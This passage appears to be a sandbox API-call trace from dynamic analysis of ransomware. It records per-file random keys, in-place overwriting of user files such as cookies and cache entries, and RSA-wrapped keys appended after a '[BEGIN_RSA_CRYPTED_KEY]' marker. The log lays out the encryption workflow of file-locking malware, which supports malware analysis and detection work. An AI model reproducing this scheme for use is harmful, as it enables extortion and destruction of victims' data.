pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VQQFy2ZRJZL25+t68CGKh/uDMEJhaCsaIVSmIcNjdbkfmWrG0A+dUQbF2Y/teBWt\nDqAkU808DK77JabdIrGWbt/VPX692M1pqqSkGPOFQBJzBqHuAumCLDRRfJBmJgOz\nOYvO5AbS9wq9ncAqR00WFIGUUjKGi+TgZ23GsdFkk/RxpaWfiTpiYrCwQrGSahuJ\n3ttDlkeJpE981/5jP6bg1F/UMApDXyRRnWE339xng8YQn/MWIN+QjgCjwI4rCn+D\nfmj/2wH36mdI8aGjw2WzQTqA7spg7ZDHh/+a93Uveas478/Lz5hndFS+L5BXLTvL\ngSMETkO2Ad2sRhsKRDLJAQ==\n", pcchString=0x2e3f9a8) returned 1 [0212.423] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.424] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.425] CloseHandle (hObject=0x1830) returned 1 [0212.426] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.cc15303f-fdbf-4f84-ab8e-2b29ebdfc262.down_meta", dwFileAttributes=0x80) returned 1 [0212.426] ReadFile (in: hFile=0x1830, lpBuffer=0x66e548, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.462] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.462] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.463] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c0 [0212.463] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.463] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.463] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.463] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.464] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.464] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NMICAxNcwM7ybsvC9zikDEtjRyxB0Encv8AKoCAqF7uONsXuxmnWyQyfggNjWw7L\nlW4RPXFWHOqYiktkEpnEEiGe3RhylzsAC9NIAgRNputS9vd5vJ7oH1pwS5BCogma\ncLIfKdv6CGy4XXo7k1UKBuW5ecyVbrWcVWOGpFe87wqKELH84AqAfZueHIDXr7SI\nIA5iArOzS2rWCjo5cglGNLo4EHgXJ0rZR3evWRnyUohAfJSyhZuOVHDiD5VwCrSM\nPRaQwjLfsvzkLlEITUpu56UPPvTNjA09VDA1+4EgVDrdEgQqHNbJITT/7bVPcnN0\njkuGKcgx+XAlGFnBNcXhJA==\n", pcchString=0x2e3f9a8) returned 1 [0212.464] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.464] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.464] CloseHandle (hObject=0x1830) returned 1 [0212.465] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.466] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\0a9b218f-07c0-466c-a90d-846952623a1d.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.466] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.466] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.466] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.466] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.466] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.466] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.467] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ijv2aHYY1G3aJqx5mbuVO0smGbEsFh8RiTqTs85J4whxWIPzsBfZ0KKMvDMWfLxl\n6L3j9fRXRuROL/rKKwbs7whCUWjUmU0Ab1leyLpETQk/uVUrp7bqrlUiYTm0jgKh\nl2OQVAhlUI35XTU+IqroNh7VNJVWhaWNyHwGzhSmqwnmfoBFXCv+TBsZenS3Cp2m\nB/0KJtJqfrTq/wxrP1E2C5Qlw9i1teb8Uq+aq1AwyRwvFWJynttbkAYRx2t09WS1\n+n7k3sn9dv4+xNQd7HrjRq2VQJu4naNxkX68aGT4hRv67OiV8qzyrQ64VkPENNtE\nMFViPseALLD6vR6dDlX7sA==\n", pcchString=0x2e3f9a8) returned 1 [0212.468] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.469] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.469] CloseHandle (hObject=0x1830) returned 1 [0212.471] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.471] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0212.471] ReadFile (in: hFile=0x1834, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.471] SetFilePointer (in: hFile=0x1834, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.471] WriteFile (in: hFile=0x1834, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.471] SetFilePointer (in: hFile=0x1834, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.471] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.471] WriteFile (in: hFile=0x1834, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vjLRyoUnwZztOpNLKZ2UPaOqQ7lVfkYq8bmg57+137kGvnTntpvaO+JlZE0yu/7V\nySxJ/sdCeeN003xqB2M1DeWf1g0L+qMfO+pdIgFyZXp3yDPmMVw0H2rNAIgByTIm\nFbKf/33qChFnFHyKegxwD7DmTd9oSyIRRlz9jM2yMukJiw1FHUarBn19SJ9oMCCj\nqP3XUurPnrjWbOEfP4j4999ZgO1Icusf5lx9tw58rIpACz0Uo4ZAT9iu/rwooro2\nbdgz2h4zIHrNzO5AGbRq92G2mXIs3xHiJRX3EnxpWLgq9R96mPlD/KBDBw/UET8f\n6QinHdadEOLGCWQstH81ZA==\n", pcchString=0x2e3f9a8) returned 1 [0212.473] WriteFile (in: hFile=0x1834, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.474] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.474] WriteFile (in: hFile=0x1834, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.474] CloseHandle (hObject=0x1834) returned 1 [0212.475] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.475] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\N4L5NPVO.cookie", dwFileAttributes=0x80) returned 1 [0212.476] ReadFile (in: hFile=0x1838, lpBuffer=0x5a4460, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a4460*, lpNumberOfBytesRead=0x2e3f9b4*=0x3f, lpOverlapped=0x0) returned 1 [0212.477] SetFilePointer (in: hFile=0x1838, lDistanceToMove=-63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.477] WriteFile (in: hFile=0x1838, lpBuffer=0x5a46a0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a46a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3f, lpOverlapped=0x0) returned 1 [0212.478] SetFilePointer (in: hFile=0x1838, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3f [0212.478] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.478] WriteFile (in: hFile=0x1838, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.478] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.478] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.479] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.479] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5g8gxioNKi8WjmuhJUmBw1hyb7Jd81xsRSY2pi85PQNNMGwnLOKF39zFsZPycsYr\nfb9jzBfXjfDTC5ygmbRwuspmp3supVtq9lCEb6UvVgaBKGNSM9G5tet3qRhHgMqN\n+qVd0IROWlNkgovpobOy+yywNhThI8WnNnDSBehPag5VwFHODgmay6R+32CsBNYn\nWygJAb58YkrCNJsqVDUL89cbXErcS5tmfE00Ihkj0eWjkjN2lKJkeRVKzqX2sZMU\nQ2AYeCzdnwNQxkbDabe9ezcMCDk6YBwkXKnRB9QPwGMIEDMxlZnvoXEZSS4c7UPp\nyXVcZeotbSdIMVaE8DjnmA==\n", pcchString=0x2e3f9a8) returned 1 [0212.479] WriteFile (in: hFile=0x1838, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.479] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.479] WriteFile (in: hFile=0x1838, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.480] CloseHandle (hObject=0x1838) returned 1 [0212.481] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.481] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\J9563R2N.cookie", dwFileAttributes=0x80) returned 1 [0212.482] ReadFile (in: hFile=0x1838, lpBuffer=0x5c7f40, nNumberOfBytesToRead=0x5f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7f40*, lpNumberOfBytesRead=0x2e3f9b4*=0x5f, lpOverlapped=0x0) returned 1 [0212.483] SetFilePointer (in: hFile=0x1838, lDistanceToMove=-95, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.483] WriteFile (in: hFile=0x1838, lpBuffer=0x5c7e08*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7e08*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5f, lpOverlapped=0x0) returned 1 [0212.483] SetFilePointer (in: hFile=0x1838, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5f [0212.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.484] WriteFile (in: hFile=0x1838, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.484] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.484] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.484] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.485] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="E/GsdDWR4gRzVlrlkjO6NbQfod2ANLP1YTPcc1/mMO8IMKdSS2UMpC5vb9Zn7HUo\nw/mPXDH+LuRn2xmEe2FGuWOq8SPZSIar5cq4AMJjdPO1SCJaGQGhZ/N2jfVXNAMU\n3SIlngJ/UyqoF6KNqi01dm5x0hPw2XhxAX6ATlPuiIKxbYeVwqjrCVGYmspK2UtM\nqdM5/lO4bcAJUx5pJXSTQmvd++LdTAXXuAEMC8sqiCGJnhjHj4WAyh8Gbv1716x0\nmI/8NA+ZUPIFh0vwnL+/3OOoa3i+yECWr36eD646FCN7ABikwdodudY/QGoTV72b\ngxdabtmmLxUtEURXPPY+pQ==\n", pcchString=0x2e3f9a8) returned 1 [0212.485] WriteFile (in: hFile=0x1838, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.485] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.485] WriteFile (in: hFile=0x1838, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.485] CloseHandle (hObject=0x1838) returned 1 [0212.498] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.498] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0212.499] ReadFile (in: hFile=0x1838, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.499] SetFilePointer (in: hFile=0x1838, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.499] WriteFile (in: hFile=0x1838, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.499] SetFilePointer (in: hFile=0x1838, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.499] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.499] WriteFile (in: hFile=0x1838, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.501] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.501] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.501] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R+3lwCI287TgwCS1t2/XXz5A/bLG4LXodLndLVaxw/UJY7cZ21VSS1xWsY/bRnAh\nG8X1EZxvWJwsTS1CNx3nZGjfP9T3qlHwhAQ7JqM+V8YZhVL1pB3EARTO5OU9TZfi\nX063McnhZRmBqFFTl4m0Ugl/w1RN9aMzSFAnRrFmwEcVdus2T+FpS1YKbr8c8uGz\niEibZzHAGpER475dKynOHRB9aN6BA20BUnaZ6+0eY4DHC1lSyCMiCdv4j2CVD32S\nAuZ5h0TZFPOuj2HN/3CSSQWt6DiMYjOhpmCPVRa6cdJ7gm8sIkxf1TgxKJ8JDV1Y\nL3LpKAQHwYtS/F/Nhx2PXA==\n", pcchString=0x2e3f9a8) returned 1 [0212.501] WriteFile (in: hFile=0x1838, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.502] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.502] WriteFile (in: hFile=0x1838, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.502] CloseHandle (hObject=0x1838) returned 1 [0212.504] WriteFile (in: hFile=0x183c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0212.506] CloseHandle (hObject=0x183c) returned 1 [0212.506] WriteFile (in: hFile=0x183c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0212.508] CloseHandle (hObject=0x183c) returned 1 [0212.512] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.512] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\fd19b752a859af314a3e30e618189f96ee29662fd9c4cca70aab6f7ebce7dbbf", dwFileAttributes=0x80) returned 1 [0212.513] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x23ff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x23ff, lpOverlapped=0x0) returned 1 [0212.542] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-9215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.542] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x23ff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23ff, lpOverlapped=0x0) returned 1 [0212.543] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, 